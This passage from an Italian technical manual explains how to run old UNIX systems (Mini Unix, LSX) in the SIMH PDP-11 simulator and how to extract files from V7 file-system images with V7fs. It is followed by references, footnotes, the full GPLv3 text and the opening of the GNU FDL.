crw-rw-rw-  1 root    1,  2 Jan 26  1976 null
brw-rw-rw-  1 root    0,  0 Sep 17 17:30 rk0
brw-rw-rw-  1 root    0,  1 Sep 18 01:53 rk1
crw--w--w-  1 root    0,  0 Sep 18 01:57 tty8
```

Come si può vedere, sono disponibili i file di dispositivo per due soli dischi, mentre nel simulatore ne sono stati previsti tre. Per aggiungere il file di dispositivo del terzo disco si può procedere così:

MX # **/etc/mknod rk2 b 0 2** [*Invio*]

È possibile innestare un solo disco alla volta. Per esempio, volendo aggiungere quello dei sorgenti corrispondente al secondo, si può procedere così:

MX # **/etc/mount /dev/rk1 /mnt** [*Invio*]

Poi, per il distacco del disco si procede come di consueto, specificando il file di dispositivo:

MX # **/etc/umount /dev/rk1** [*Invio*]

Non è prevista la procedura di arresto del sistema ed è disponibile solo '**sync**', dopo il quale è possibile interrompere il funzionamento del simulatore con la combinazione [*Ctrl e*].

MX # **sync** [*Invio*]

MX # [*Ctrl e*]

```
Simulation stopped, PC: 016662 (BNE 16674)
```

SIMH sim> **quit** [*Invio*]

A.5.2 LSI UNIX o LSX

LSX è un sistema derivato da UNIX versione 6; per microprocessore LSI-11, ridotto al punto di poter funzionare con soli 48 Kibyte di memoria centrale.

Si possono trovare i file-immagine di LSX, per dischetti RX01, presso ⟨*http://minnie.tuhs.org/Archive/PDP-11/Distributions/usdl/LSX/* ⟩; precisamente serve il file ⟨*http://minnie.tuhs.org/Archive/PDP-11/Distributions/usdl/LSX/lsximgs.tar.bz2* ⟩ che contiene tutto il necessario per questi esempi.

I file-immagine vanno estratti e quindi va preparato uno script per SIMH.

GNU/Linux $ **tar xjvf lsximgs.tar.bz2** [*Invio*]

Si ottengono diversi file, tra cui, in particolare, '`root.dsk`' e '`usr.dsk`'. Lo script per SIMH può avere il contenuto seguente, nel quale si prevede l'uso di due dischi:

```
;
; LSI-11 with only 48 Kibyte RAM memory.
;
SET     CPU  48K
SHOW    CPU
;
; RX01 floppy disk.
;
SET     RX   ENABLE
;
ATTACH  RX0  root.dsk
SHOW    RX0
```

```
;
ATTACH  RX1  usr.dsk
SHOW    RX1
;
; Should boot manually.
;
```

Se lo script è contenuto nel file '`lsx.ini`', si avvia la simulazione così:

GNU/Linux $ **`pdp11 lsx.ini`** [*Invio*]

```
PDP-11 simulator V3.6-1
Disabling CR
CPU, 11/73, NOCIS, autoconfiguration on, 48KB
RX: buffering file in memory
RX0, 256KB, attached to root.dsk, write enabled
RX: buffering file in memory
RX1, 256KB, attached to usr.dsk, write enabled
```

Quindi, dall'invito di SIMH si dà il comando di avvio:

SIMH `sim>` **`BOOT RX0`** [*Invio*]

Se funziona appare l'invito del settore di avvio ('**`rx boot:`**'), dal quale va scritto il nome del file del kernel da eseguire: in questo caso si tratta di '`lsx`'.

disk boot `rx boot:`**`lsx`** [*Invio*]

Si ottiene subito l'invito della shell. Dal momento che il terminale si presenta configurato per le lettere maiuscole, conviene regolare subito questa cosa:

LSX # **`STTY -LCASE`** [*Invio*]

Si annotano i file di dispositivo presenti:

LSX # **`chdir /dev`** [*Invio*]

LSX # **`ls -l`** [*Invio*]

```
total 0
brw-rw-rw- 1 0       0,  0 Jun  8 15:00 fd0
brw-rw-rw- 1 0       0,  1 Oct 29 03:10 fd1
crw-rw-rw- 1 0       0,  0 Jul  1  1977 tty8
```

Nel sistema che si ottiene mancano programmi importanti e anche l'innesto del secondo dischetto può essere impossibile.

LSX # **`sync`** [*Invio*]

LSX # [*Ctrl e*]

```
Simulation stopped, PC: 015650 (MOV R3,(SP))
```

SIMH sim> **quit** [*Invio*]

A.6 Programmi di servizio

Le varie versioni dello UNIX di ricerca utilizzano dei file system inaccessibili con i sistemi attuali. Ciò rende difficile il trasferimento di dati con un file-immagine contenente uno dei vecchi UNIX. Probabilmente, l'unico programma che venga in aiuto per questo è V7fs, che comunque occorre compilare in proprio, ma almeno funziona in un sistema GNU/Linux comune.

A.6.1 V7fs

V7fs è un programma in grado di leggere un file-immagine contenente un file system di UNIX versione 7, di attraversare il suo contenuto e di estrapolare i file. Il programma va raccolto in forma sorgente da ⟨*http://minnie.tuhs.org/Archive/PDP-11/Tools/Filesys/v7fs-0.1.tar.gz*⟩. Dopo l'estrazione si ottiene in particolare il file '`v7fs.c`' e il file-make; pertanto si può compilare così:

GNU/Linux $ **make v7fs** [*Invio*]

Si ottiene il file eseguibile '`v7fs`' nella directory corrente. Supponendo di disporre del file '`unix_v7_root_rl02.dsk`', contenente un file system da scorrere con V7fs, si può procedere nel modo seguente:

GNU/Linux $ **./v7fs unix_v7_rl02.dsk** [*Invio*]

V7fs funziona in modo interattivo e mostra un invito, dal quale si possono dare comandi simili a quelli di un vecchio sistema UNIX:

v7fs * **?** [*Invio*]

```
commands:
        ls [-i] [dir]: list directory contents, current dir default
        cd name: change to directory 'name'
        cat name1: print file 'name1' on terminal
        cp name1 [name2]: copy internal file 'name1' to external 'name2'
               name2 defaults to name1.
               (An i-number can be used instead of name1 for cp or cat.)
        cpdir: copy all files in current internal directory
               to current external directory
        lcd name: change to local directory 'name'
        printi ino ...: print contents of inode 'ino'
        printblk blk ...: print contents of block 'blk'
        printsb: print contents of the super block
        dumpblk blk ...: hex dump of block 'blk'
        dumpboot: hex dump of the boot block
        cpblk file blk ...: copy contents of 'blk' to external file 'file'
               (append to file if it exists)
        rootino ino: read directory with inode 'ino', making it
               the root directory
        ! : shell escape; the rest of the line is passed to the shell
        q or ^d: quit
```

v7fs * **ls** [*Invio*]

```
.               ..              bin             boot
dev             etc             hphtunix        hptmunix
lib             mdec            rkunix          rl2unix
rphtunix        rptmunix        usr
```

v7fs * **cd etc** [*Invio*]

v7fs * **ls** [*Invio*]

```
.               ..              accton          cron
ddate           dmesg           fsck            getty
group           init            mkfs            mknod
mount           mtab            passwd          rc
ttys            umount          update          utmp
wall
```

v7fs * **cat group** [*Invio*]

```
other::1:
sys::2:bin,sys
bin::3:sys,bin
uucp::4:
```

v7fs * **cp group** [*Invio*]

L'ultimo comando mostra la copia del file '`group`' all'esterno, in un file con lo stesso nome, nella directory corrente nel momento dell'avvio del programma.

v7fs * **q** [*Invio*]

A.7 Riferimenti

- Bob Supnik, *The Computer History Simulation Project*
  ⟨http://simh.trailing-edge.com/ ⟩
- Robert M. Supnik, *SIMH user's guide*
  ⟨http://simh.trailing-edge.com/pdf/simh_doc.pdf ⟩
- Robert M. Supnik, *PDP-11 simulator usage*
  ⟨http://simh.trailing-edge.com/pdf/pdp11_doc.pdf ⟩
- Phil Budne, *Article 1995 of alt.sys.pdp10*, *How big were they?*
  ⟨http://www.inwap.com/pdp10/usenet/disks ⟩
- John Holden, *YAPP - Yet another PDP-11 Page*
  ⟨http://www.psych.usyd.edu.au/pdp-11/ ⟩

- Steven Schulz, *Installing and operating 2.11BSD on the PDP-11*, 1995

  ⟨*http://minnie.tuhs.org/PUPS/Setup/2.11bsd_setup.pdf* ⟩

  ⟨*http://minnie.tuhs.org/PUPS/Setup/2.11bsd_setup.html* ⟩

- *2.11BSD*

  ⟨*http://minnie.tuhs.org/Archive/PDP-11/Distributions/ucb/2.11BSD/* ⟩

  ⟨*http://minnie.tuhs.org/Archive/PDP-11/Boot_Images/2.11_on_Simh/* ⟩

- Warren Toomey, *Details of the PUPS Archive*, 1996; *FAQ on the Unix Archive and Unix on the PDP-11*, 2001; *What Unixes run on What PDPs?*

  ⟨*http://minnie.tuhs.org/PUPS/archive_details.html* ⟩

  ⟨*http://minnie.tuhs.org/PUPS/pupsfaq.html* ⟩

  ⟨*http://minnie.tuhs.org/PUPS/node6.html* ⟩

- John Lions, *Lions' Commentary on Unix 6th Edition with Source Code*, Peer-To-Peer Communications, sesta edizione, 1996, ISBN 1573980137

  ⟨*http://www.amazon.ca/Lions-Commentary-Unix-Source-Code/dp/1573980137* ⟩

- *Mini Unix*

  ⟨*http://minnie.tuhs.org/UnixTree/MiniUnix/* ⟩

[1] **SIMH** software libero con licenza speciale

[2] Rispetto alla documentazione originale, il file '`file8.tar`' viene inserito in coda al nastro principale, senza bisogno di creare un secondo nastro apposito. Nella realtà ciò non sarebbe possibile, per via della capacità limitata del nastro stesso.

[3] La sigla '**`tm`**' va utilizzata in quanto si tratta di un nastro di un'unità a nastro di tipo TM11; se fosse un nastro TS11, va usata probabilmente la sigla '**`ts`**', come descritto nella documentazione di 2.11BSD.

[4] La partizione '**`a:`**' deve iniziare a partire dal primo settore disponibile del disco, altrimenti non è possibile avviare poi il sistema operativo.

[5] La dimensione viene data in settori e la si cambia in base ai calcoli effettuati precedentemente.

[6] Si osservi che è obbligatorio dare il nome '**`swap`**' alla partizione usata per lo scambio della memoria virtuale.

[7] La partizione '**`b:`**' deve cominciare a partire dal settore successivo a quello della partizione '**`a:`**'. Dal momento che la partizione '**`a:`**' è composta da 325755 settori, contando a partire da zero, l'ultimo settore della prima partizione è il numero 325754, pertanto il successivo, che inizia la partizione '**`b:`**' è il numero 325755.

[8] La sigla '**`tm0`**' fa riferimento alle unità TM11.

GNU GENERAL PUBLIC LICENSE

Testo originale: ⟨*http://www.gnu.org/licenses/gpl.html* ⟩

GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007

Preamble

The GNU General Public License is a free, copyleft license for software and other kinds of works.

The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too.

When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things.

To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others.

For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.

Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it.

For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions.

Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users.

Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free.

The precise terms and conditions for copying, distribution and modification follow.

TERMS AND CONDITIONS

0. Definitions.

"This License" refers to version 3 of the GNU General Public License.

"Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks.

"The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations.

To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work.

A "covered work" means either the unmodified Program or a work based on the Program.

To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well.

To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying.

An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion.

1. Source Code.

The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work.

A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language.

The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating

system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it.

The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work.

The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source.

The Corresponding Source for a work in source code form is that same work.

2. Basic Permissions.

All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law.

You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you.

Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary.

3. Protecting Users' Legal Rights From Anti-Circumvention Law.

No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures.

When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures.

4. Conveying Verbatim Copies.

You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive

terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program.

You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee.

5. Conveying Modified Source Versions.

You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions:

> a) The work must carry prominent notices stating that you modified it, and giving a relevant date.
>
> b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices".
>
> c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it.
>
> d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so.

A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate.

6. Conveying Non-Source Forms.

You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways:

> a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange.
>
> b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange,

for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge.

c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b.

d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements.

e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d.

A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work.

A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product.

"Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made.

If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM).

The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access

to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network.

Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying.

7. Additional Terms.

"Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions.

When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission.

Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms:

a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or

b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or

c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or

d) Limiting the use for publicity purposes of names of licensors or authors of the material; or

e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or

f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors.

All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by

the terms of that license document, provided that the further restriction does not survive such relicensing or conveying.

If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms.

Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way.

8. Termination.

You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11).

However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.

Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.

Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10.

9. Acceptance Not Required for Having Copies.

You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so.

10. Automatic Licensing of Downstream Recipients.

Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License.

An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts.

You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for

exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it.

11. Patents.

A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version".

A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License.

Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version.

In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party.

If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid.

If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it.

A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007.

Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law.

12. No Surrender of Others' Freedom.

If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program.

13. Use with the GNU Affero General Public License.

Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such.

14. Revised Versions of this License.

The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation.

If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program.

Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version.

15. Disclaimer of Warranty.

THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

16. Limitation of Liability.

IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

17. Interpretation of Sections 15 and 16.

If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee.

END OF TERMS AND CONDITIONS

How to Apply These Terms to Your New Programs

If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms.

To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found.

> <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author>
>
> This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
>
> This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
>
> You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.

Also add information on how to contact you by electronic and paper mail.

If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode:

> <program> Copyright (C) <year> <name of author> This program comes with ABSOLUTELY NO WARRANTY; for details type 'show w'. This is free software, and you are welcome to redistribute it under certain conditions; type 'show c' for details.

The hypothetical commands ‘show w’ and ‘show c’ should show the appropriate parts of the General Public License. Of course, your program’s commands might be different; for a GUI interface, you would use an "about box".

You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see <http://www.gnu.org/licenses/>.

The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read <http://www.gnu.org/philosophy/why-not-lgpl.html>.

Appendix C

GNU Free Documentation License

Testo originale: ⟨*http://www.gnu.org/licenses/fdl.html*⟩

GNU Free Documentation License

Version 1.3, 3 November 2008

Copyright © 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. ⟨*http://fsf.org/">http://fsf.org/*⟩

Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

0. PREAMBLE

